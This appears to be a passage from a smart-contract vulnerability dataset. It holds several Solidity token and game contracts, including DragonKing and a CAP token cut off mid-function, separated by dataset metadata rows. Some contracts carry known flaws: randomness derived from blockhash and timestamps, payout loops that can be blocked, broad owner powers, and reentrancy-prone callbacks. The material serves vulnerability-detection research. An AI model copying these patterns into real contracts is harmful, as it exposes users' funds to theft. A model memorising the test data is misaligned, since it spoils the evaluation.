function setCrowdsale(address crowdsaleAddress, uint256 crowdsaleBalance) onlyOwner validAddress(crowdsaleAddress) external
{
require(!isCrowdsaleSet, "Crowdsale address was already set.");
isCrowdsaleSet = true;
tokenTotalSupply = tokenTotalSupply.add(crowdsaleBalance);
balances[crowdsaleAddress] = crowdsaleBalance;
}
function approve(address spender, uint256 value) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool)
{
return transfer(to, value, new bytes(0));
}
function transferFrom(address from, address to, uint256 value) external returns (bool)
{
return transferFrom(from, to, value, new bytes(0));
}
function transferBatch(address[] calldata to, uint256 value) external returns (bool)
{
return transferBatch(to, value, new bytes(0));
}
function transfer(address to, uint256 value, bytes memory data) validAddress(to) enoughBalance(msg.sender, value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if (isContract(to))
{
contractFallback(msg.sender, to, value, data);
}
emit Transfer(msg.sender, to, value, data);
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value, bytes memory data) validAddress(to) enoughBalance(from, value) public returns (bool)
{
require(value <= allowances[from][msg.sender], "Transfer value exceeds the allowance.");
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
if (isContract(to))
{
contractFallback(from, to, value, data);
}
emit Transfer(from, to, value, data);
emit Transfer(from, to, value);
return true;
}
function transferBatch(address[] memory to, uint256 value, bytes memory data) public returns (bool)
{
uint256 totalValue = value.mul(to.length);
checkBalance(msg.sender, totalValue);
balances[msg.sender] = balances[msg.sender].sub(totalValue);
uint256 i = 0;
while (i < to.length)
{
checkAddressValidity(to[i]);
balances[to[i]] = balances[to[i]].add(value);
if (isContract(to[i]))
{
contractFallback(msg.sender, to[i], value, data);
}
emit Transfer(msg.sender, to[i], value, data);
emit Transfer(msg.sender, to[i], value);
i++;
}
return true;
}
function contractFallback(address sender, address to, uint256 value, bytes memory data) private returns (bool)
{
IERC223Receiver reciever = IERC223Receiver(to);
return reciever.tokenFallback(msg.sender, sender, value, data);
}
function isContract(address to) internal view returns (bool)
{
uint length;
assembly { length := extcodesize(to) }
return length > 0;
}
function increaseAllowance(address spender, uint256 addedValue) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = allowances[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = allowances[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function burnOwnTokens(uint256 amountToBurn) enoughBalance(msg.sender, amountToBurn) external
{
require(balances[msg.sender] >= amountToBurn, "Can't burn more tokens than you own.");
tokenTotalSupply = tokenTotalSupply.sub(amountToBurn);
balances[msg.sender] = balances[msg.sender].sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn, new bytes(0));
emit Transfer(msg.sender, address(0), amountToBurn);
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success)
{
return IERC20(tokenAddress).transfer(owner, tokens);
}
function balanceOf(address balanceOwner) external view returns (uint256)
{
return balances[balanceOwner];
}
function allowance(address balanceOwner, address spender) external view returns (uint256)
{
return allowances[balanceOwner][spender];
}
function name() external view returns(string memory) {
return tokenName;
}
function symbol() external view returns(string memory) {
return tokenSymbol;
}
function decimals() external view returns(uint8) {
return tokenDecimals;
}
function totalSupply() external view returns (uint256)
{
return tokenTotalSupply;
}
modifier validAddress(address _address)
{
checkAddressValidity(_address);
_;
}
modifier enoughBalance(address from, uint256 value)
{
checkBalance(from, value);
_;
}
function checkAddressValidity(address _address) internal view
{
require(_address != address(0), "The address can't be blank.");
require(_address != address(this), "The address can't point to Egg smart contract.");
}
function checkBalance(address from, uint256 value) internal view
{
require(value <= balances[from], "Specified address has less tokens than required for this operation.");
}
function setMigrationAgent(address agent) onlyOwner validAddress(agent) external
{
require(migrationAgentAddress == address(0), "Migration Agent was specified already.");
require(!isMigrated, 'Contract was already migrated.');
migrationAgentAddress = agent;
migrationAgentContract = IMigrationAgent(agent);
}
function migrate() external
{
require(migrationAgentAddress != address(0), "Migration is closed or haven't started.");
uint256 migratedAmount = balances[msg.sender];
require(migratedAmount > 0, "No tokens to migrate.");
balances[msg.sender] = 0;
emit MigratedFrom(msg.sender, migratedAmount);
migrationAgentContract.migrateTokens(msg.sender, migratedAmount);
}
function finalizeMigration() external
{
require(msg.sender == migrationAgentAddress, "Only Migration Agent can finalize the migration.");
migrationAgentAddress = address(0);
isMigrated = true;
}
}
| 162,853 | 795 |
869750b575dbec89bdfa4f86c7c86abd60b2de8143b638e3ee2c48a67963126e
| 12,951 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x26d33f5bba082e8fb480fde175e579bd6f10dde7.sol
| 2,498 | 9,905 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is owned {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
interface ERC20Token {
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) view external returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) external returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract StandardToken is ERC20Token, Pausable {
using SafeMath for uint;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size.add(4));
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) whenNotPaused external returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) whenNotPaused external returns (bool success) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) view external returns (uint256 balance) {
return balances[_owner];
}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) whenNotPaused public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
require(_value <= balances[msg.sender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) whenNotPaused public returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,uint256 _subtractedValue) whenNotPaused public returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
uint256 public _totalSupply;
}
//The Contract Name
contract TansalCoin is StandardToken{
using SafeMath for uint;
string public name;
uint8 public decimals;
string public symbol;
string public version = 'V1.0'; //Version 0.1 standard. Just an arbitrary versioning scheme.
uint256 private fulltoken;
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
// ERC20Token
constructor() public{
fulltoken = 400000000;
decimals = 3; // Amount of decimals for display purposes
_totalSupply = fulltoken.mul(10 ** uint256(decimals)); // Update total supply (100000 for example)
balances[msg.sender] = _totalSupply; // Give the creator all initial tokens (100000 for example)
name = "Tansal Coin"; // Set the name for display purposes
symbol = "TAN"; // Set the symbol for display purposes
}
function() public {
//not payable fallback function
revert();
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/// @return total amount of tokens
function totalSupply() public view returns (uint256 supply){
return _totalSupply;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balances[msg.sender] >= _value); // Check if the sender has enough
balances[msg.sender] = balances[msg.sender].sub(_value); // Subtract from the sender
_totalSupply = _totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balances[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowed[_from][msg.sender]); // Check allowance
balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
_totalSupply = _totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
emit Transfer(_from, address(0), _value);
return true;
}
function onlyPayForFuel() public payable onlyOwner{
// Owner will pay in contract to bear the gas price if transactions made from contract
}
function withdrawEtherFromcontract(uint _amountInwei) public onlyOwner{
require(address(this).balance > _amountInwei);
require(msg.sender == owner);
owner.transfer(_amountInwei);
}
function withdrawTokensFromContract(uint _amountOfTokens) public onlyOwner{
require(balances[this] >= _amountOfTokens);
require(msg.sender == owner);
balances[msg.sender] = balances[msg.sender].add(_amountOfTokens); // adds the amount to owner's balance
balances[this] = balances[this].sub(_amountOfTokens); // subtracts the amount from contract balance
emit Transfer(this, msg.sender, _amountOfTokens); // execute an event reflecting the change
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
}
| 213,692 | 796 |
af921b65941be72dfe1f25c3293aa4213d6162a4c3cbae8553e4a0e8d81baec0
| 23,680 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x58bf4d7869517fb67fdc4fac0897e7829d19f47e.sol
| 5,224 | 15,605 |
pragma solidity ^ 0.4 .17;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract mortal is Ownable{
function mortal() public {
}
function kill() internal {
selfdestruct(owner);
}
}
contract Token {
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {}
function transfer(address _to, uint256 _value) public returns (bool success) {}
function balanceOf(address who) public view returns (uint256);
}
contract DragonKing is mortal {
struct Character {
uint8 characterType;
uint128 value;
address owner;
}
uint32[] public ids;
uint32 public nextId;
uint32 public oldest;
mapping(uint32 => Character) characters;
mapping(uint32 => bool) teleported;
uint128[] public costs;
uint128[] public values;
uint8 fee;
uint8 constant public numDragonTypes = 6;
uint8 constant public numOfBalloonsTypes = 3;
uint32 constant public noKing = ~uint32(0);
uint16 public numCharacters;
uint16 public maxCharacters;
mapping(uint8 => uint16) public numCharactersXType;
uint public eruptionThreshold;
uint256 public lastEruptionTimestamp;
uint8 public percentageToKill;
mapping(uint32 => uint) public cooldown;
uint256 public constant CooldownThreshold = 1 days;
Token teleportToken;
uint public teleportPrice;
Token neverdieToken;
uint public protectionPrice;
mapping(uint32 => uint8) public protection;
// MODIFIER
event NewPurchase(address player, uint8 characterType, uint8 amount, uint32 startId);
event NewExit(address player, uint256 totalBalance, uint32[] removedCharacters);
event NewEruption(uint32[] hitCharacters, uint128 value, uint128 gasCost);
event NewSell(uint32 characterId, address player, uint256 value);
event NewFight(uint32 winnerID, uint32 loserID, uint256 value);
event NewTeleport(uint32 characterId);
event NewProtection(uint32 characterId, uint8 lifes);
function DragonKing(address teleportTokenAddress, address neverdieTokenAddress, uint8 eruptionThresholdInHours, uint8 percentageOfCharactersToKill, uint8 characterFee, uint16[] charactersCosts, uint16[] balloonsCosts) public onlyOwner {
fee = characterFee;
for (uint8 i = 0; i < charactersCosts.length * 2; i++) {
costs.push(uint128(charactersCosts[i % numDragonTypes]) * 1 finney);
values.push(costs[i] - costs[i] / 100 * fee);
}
uint256 balloonsIndex = charactersCosts.length * 2;
for (uint8 j = 0; j < balloonsCosts.length; j++) {
costs.push(uint128(balloonsCosts[j]) * 1 finney);
values.push(costs[balloonsIndex + j] - costs[balloonsIndex + j] / 100 * fee);
}
eruptionThreshold = eruptionThresholdInHours * 60 * 60; // convert to seconds
percentageToKill = percentageOfCharactersToKill;
maxCharacters = 600;
nextId = 1;
teleportToken = Token(teleportTokenAddress);
teleportPrice = 1000000000000000000;
neverdieToken = Token(neverdieTokenAddress);
protectionPrice = 1000000000000000000;
}
function addCharacters(uint8 characterType) payable public {
uint8 amount = uint8(msg.value / costs[characterType]);
uint16 nchars = numCharacters;
if (characterType >= costs.length || msg.value < costs[characterType] || nchars + amount > maxCharacters) revert();
uint32 nid = nextId;
if (characterType < numDragonTypes) {
//dragons enter the game directly
if (oldest == 0 || oldest == noKing)
oldest = nid;
for (uint8 i = 0; i < amount; i++) {
addCharacter(nid + i, nchars + i);
characters[nid + i] = Character(characterType, values[characterType], msg.sender);
}
numCharactersXType[characterType] += amount;
numCharacters += amount;
}
else {
// to enter game knights should be teleported later
for (uint8 j = 0; j < amount; j++) {
characters[nid + j] = Character(characterType, values[characterType], msg.sender);
}
}
nextId = nid + amount;
NewPurchase(msg.sender, characterType, amount, nid);
}
function addCharacter(uint32 nId, uint16 nchars) internal {
if (nchars < ids.length)
ids[nchars] = nId;
else
ids.push(nId);
}
function exit() public {
uint32[] memory removed = new uint32[](50);
uint8 count;
uint32 lastId;
uint playerBalance;
uint16 nchars = numCharacters;
for (uint16 i = 0; i < nchars; i++) {
if (characters[ids[i]].owner == msg.sender) {
//first delete all characters at the end of the array
while (nchars > 0 && characters[ids[nchars - 1]].owner == msg.sender) {
nchars--;
lastId = ids[nchars];
numCharactersXType[characters[lastId].characterType]--;
playerBalance += characters[lastId].value;
removed[count] = lastId;
count++;
if (lastId == oldest) oldest = 0;
delete characters[lastId];
}
//if the last character does not belong to the player, replace the players character by this last one
if (nchars > i + 1) {
playerBalance += characters[ids[i]].value;
removed[count] = ids[i];
count++;
nchars--;
replaceCharacter(i, nchars);
}
}
}
numCharacters = nchars;
NewExit(msg.sender, playerBalance, removed); //fire the event to notify the client
msg.sender.transfer(playerBalance);
if (oldest == 0)
findOldest();
}
function replaceCharacter(uint16 index, uint16 nchars) internal {
uint32 characterId = ids[index];
numCharactersXType[characters[characterId].characterType]--;
if (characterId == oldest) oldest = 0;
delete characters[characterId];
ids[index] = ids[nchars];
delete ids[nchars];
}
function triggerVolcanoEruption() public {
require(now >= lastEruptionTimestamp + eruptionThreshold);
require(numCharacters>0);
lastEruptionTimestamp = now;
uint128 pot;
uint128 value;
uint16 random;
uint32 nextHitId;
uint16 nchars = numCharacters;
uint32 howmany = nchars * percentageToKill / 100;
uint128 neededGas = 80000 + 10000 * uint32(nchars);
if(howmany == 0) howmany = 1;//hit at least 1
uint32[] memory hitCharacters = new uint32[](howmany);
for (uint8 i = 0; i < howmany; i++) {
random = uint16(generateRandomNumber(lastEruptionTimestamp + i) % nchars);
nextHitId = ids[random];
hitCharacters[i] = nextHitId;
value = hitCharacter(random, nchars);
if (value > 0) {
nchars--;
}
pot += value;
}
uint128 gasCost = uint128(neededGas * tx.gasprice);
numCharacters = nchars;
if (pot > gasCost){
distribute(pot - gasCost); //distribute the pot minus the oraclize gas costs
NewEruption(hitCharacters, pot - gasCost, gasCost);
}
else
NewEruption(hitCharacters, 0, gasCost);
}
function fight(uint32 knightID, uint16 knightIndex) public {
if (knightID != ids[knightIndex])
knightID = getCharacterIndex(knightID);
Character storage knight = characters[knightID];
require(cooldown[knightID] + CooldownThreshold <= now);
require(knight.owner == msg.sender);
require(knight.characterType < 2*numDragonTypes); // knight is not a balloon
require(knight.characterType >= numDragonTypes);
uint16 dragonIndex = getRandomDragon(knightID);
assert(dragonIndex < maxCharacters);
uint32 dragonID = ids[dragonIndex];
Character storage dragon = characters[dragonID];
uint16 tieBreaker = uint16(now % 2);
uint128 value;
if (knight.characterType - numDragonTypes > dragon.characterType || (knight.characterType - numDragonTypes == dragon.characterType && tieBreaker == 0)) {
value = hitCharacter(dragonIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
knight.value += value;
cooldown[knightID] = now;
if (oldest == 0) findOldest();
NewFight(knightID, dragonID, value);
}
else {
value = hitCharacter(knightIndex, numCharacters);
if (value > 0) {
numCharacters--;
}
dragon.value += value;
NewFight(dragonID, knightID, value);
}
}
function getRandomDragon(uint256 nonce) internal view returns(uint16) {
uint16 randomIndex = uint16(generateRandomNumber(nonce) % numCharacters);
//use 7, 11 or 13 as step size. scales for up to 1000 characters
uint16 stepSize = numCharacters % 7 == 0 ? (numCharacters % 11 == 0 ? 13 : 11) : 7;
uint16 i = randomIndex;
//will at some point return to the startingPoint if no character is suited
do {
if (characters[ids[i]].characterType < numDragonTypes && characters[ids[i]].owner != msg.sender) return i;
i = (i + stepSize) % numCharacters;
} while (i != randomIndex);
return maxCharacters + 1; //there is none
}
function generateRandomNumber(uint256 nonce) internal view returns(uint) {
return uint(keccak256(block.blockhash(block.number - 1), now, numCharacters, nonce));
}
function hitCharacter(uint16 index, uint16 nchars) internal returns(uint128 characterValue) {
uint32 id = ids[index];
if (protection[id] > 0) {
protection[id]--;
return 0;
}
characterValue = characters[ids[index]].value;
nchars--;
replaceCharacter(index, nchars);
}
function findOldest() public {
uint32 newOldest = noKing;
for (uint16 i = 0; i < numCharacters; i++) {
if (ids[i] < newOldest && characters[ids[i]].characterType < numDragonTypes)
newOldest = ids[i];
}
oldest = newOldest;
}
function distribute(uint128 totalAmount) internal {
uint128 amount;
if (oldest == 0)
findOldest();
if (oldest != noKing) {
//pay 10% to the oldest dragon
characters[oldest].value += totalAmount / 10;
amount = totalAmount / 10 * 9;
} else {
amount = totalAmount;
}
//distribute the rest according to their type
uint128 valueSum;
uint8 size = 2 * numDragonTypes;
uint128[] memory shares = new uint128[](size);
for (uint8 v = 0; v < size; v++) {
if (numCharactersXType[v] > 0) valueSum += values[v];
}
for (uint8 m = 0; m < size; m++) {
if (numCharactersXType[m] > 0)
shares[m] = amount * values[m] / valueSum / numCharactersXType[m];
}
uint8 cType;
for (uint16 i = 0; i < numCharacters; i++) {
cType = characters[ids[i]].characterType;
if(cType < size)
characters[ids[i]].value += shares[characters[ids[i]].characterType];
}
}
function collectFees(uint128 amount) public onlyOwner {
uint collectedFees = getFees();
if (amount + 100 finney < collectedFees) {
owner.transfer(amount);
}
}
function withdraw() public onlyOwner {
uint256 ndcBalance = neverdieToken.balanceOf(this);
assert(neverdieToken.transfer(owner, ndcBalance));
uint256 tptBalance = teleportToken.balanceOf(this);
assert(teleportToken.transfer(owner, tptBalance));
}
function stop() public onlyOwner {
withdraw();
for (uint16 i = 0; i < numCharacters; i++) {
characters[ids[i]].owner.transfer(characters[ids[i]].value);
}
kill();
}
function sellCharacter(uint32 characterId) public {
require(msg.sender == characters[characterId].owner);
require(characters[characterId].characterType < 2*numDragonTypes);
uint128 val = characters[characterId].value;
numCharacters--;
replaceCharacter(getCharacterIndex(characterId), numCharacters);
msg.sender.transfer(val);
if (oldest == 0)
findOldest();
NewSell(characterId, msg.sender, val);
}
function receiveApproval(address sender, uint256 value, address tokenContract, bytes callData) public {
uint32 id;
uint256 price;
if (msg.sender == address(teleportToken)) {
id = toUint32(callData);
price = teleportPrice * (characters[id].characterType/numDragonTypes);//double price in case of balloon
require(value >= price);
assert(teleportToken.transferFrom(sender, this, price));
teleportKnight(id);
}
else if (msg.sender == address(neverdieToken)) {
id = toUint32(callData);
// user can purchase extra lifes only right after character purchaes
// in other words, user value should be equal the initial value
uint8 cType = characters[id].characterType;
require(characters[id].value == values[cType]);
// calc how many lifes user can actually buy
// the formula is the following:
uint256 lifePrice;
uint8 max;
if(cType < 2 * numDragonTypes){
lifePrice = ((cType % numDragonTypes) + 1) * protectionPrice;
max = 3;
}
else {
lifePrice = (((cType+3) % numDragonTypes) + 1) * protectionPrice * 2;
max = 6;
}
price = 0;
uint8 i = protection[id];
for (i; i < max && value >= price + lifePrice * (i + 1); i++) {
price += lifePrice * (i + 1);
}
assert(neverdieToken.transferFrom(sender, this, price));
protectCharacter(id, i);
}
else
revert();
}
function teleportKnight(uint32 id) internal {
// ensure we do not teleport twice
require(teleported[id] == false);
teleported[id] = true;
Character storage knight = characters[id];
require(knight.characterType >= numDragonTypes); //this also makes calls with non-existent ids fail
addCharacter(id, numCharacters);
numCharacters++;
numCharactersXType[knight.characterType]++;
NewTeleport(id);
}
function protectCharacter(uint32 id, uint8 lifes) internal {
protection[id] = lifes;
NewProtection(id, lifes);
}
function getCharacter(uint32 characterId) constant public returns(uint8, uint128, address) {
return (characters[characterId].characterType, characters[characterId].value, characters[characterId].owner);
}
function getCharacterIndex(uint32 characterId) constant public returns(uint16) {
for (uint16 i = 0; i < ids.length; i++) {
if (ids[i] == characterId) {
return i;
}
}
revert();
}
function get10Characters(uint16 startIndex) constant public returns(uint32[10] characterIds, uint8[10] types, uint128[10] values, address[10] owners) {
uint32 endIndex = startIndex + 10 > numCharacters ? numCharacters : startIndex + 10;
uint8 j = 0;
uint32 id;
for (uint16 i = startIndex; i < endIndex; i++) {
id = ids[i];
characterIds[j] = id;
types[j] = characters[id].characterType;
values[j] = characters[id].value;
owners[j] = characters[id].owner;
j++;
}
}
function getNumDragons() constant public returns(uint16 numDragons) {
for (uint8 i = 0; i < numDragonTypes; i++)
numDragons += numCharactersXType[i];
}
function getNumKnights() constant public returns(uint16 numKnights) {
for (uint8 i = numDragonTypes; i < 2 * numDragonTypes; i++)
numKnights += numCharactersXType[i];
}
function getFees() constant public returns(uint) {
uint reserved = 0;
for (uint16 j = 0; j < numCharacters; j++)
reserved += characters[ids[j]].value;
return address(this).balance - reserved;
}
function setPrices(uint16[] prices) public onlyOwner {
for (uint8 i = 0; i < prices.length * 2; i++) {
costs[i] = uint128(prices[i % numDragonTypes]) * 1 finney;
values[i] = costs[i] - costs[i] / 100 * fee;
}
}
function setFee(uint8 _fee) public onlyOwner {
fee = _fee;
}
function setMaxCharacters(uint16 number) public onlyOwner {
maxCharacters = number;
}
function setTeleportPrice(uint price) public onlyOwner {
teleportPrice = price;
}
function setProtectionPrice(uint price) public onlyOwner {
protectionPrice = price;
}
function setEruptionThreshold(uint et) public onlyOwner {
eruptionThreshold = et;
}
function toUint32(bytes b) internal pure returns(uint32) {
bytes32 newB;
assembly {
newB: = mload(0x80)
}
return uint32(newB);
}
}
| 203,004 | 797 |
158d52a36231076eafbe48be1c1866020542aabd7cc02859687edd16f98f4d03
| 19,257 |
.sol
|
Solidity
| false |
559006687
|
Sapo-Dorado/FortaKnight
|
b4170216038285b34477a0e05f95450ae7bf4aa1
|
analysis/Contracts/contract_443.sol
| 3,823 | 14,588 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract CAP is ERC223, Ownable {
using SafeMath for uint256;
string public name = "CAP";
string public symbol = "CAP";
string public constant AAcontributors = "CAPcont";
uint8 public decimals = 8;
uint256 public totalSupply = 2 * 10e15;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
address public founder = 0x302531ff8f705891032A9BBCCFFCEF6d3BC0e4ca;
//address public founder = 0x302531ff8f705891032A9BBCCFFCEF6d3BC0e4ca;
//address public preSeasonGame = ;
//address public founder = 0x302531ff8f705891032A9BBCCFFCEF6d3BC0e4ca;
//address public lockedFundsForthefuture = ;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function CAP() public {
//owner = founder;
owner = founder;
balanceOf[founder] = totalSupply.mul(100).div(100);
//balanceOf[founder] = totalSupply.mul(25).div(100);
//balanceOf[preSeasonGame] = totalSupply.mul(55).div(100);
//balanceOf[founder] = totalSupply.mul(10).div(100);
//balanceOf[lockedFundsForthefuture] = totalSupply.mul(10).div(100);
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
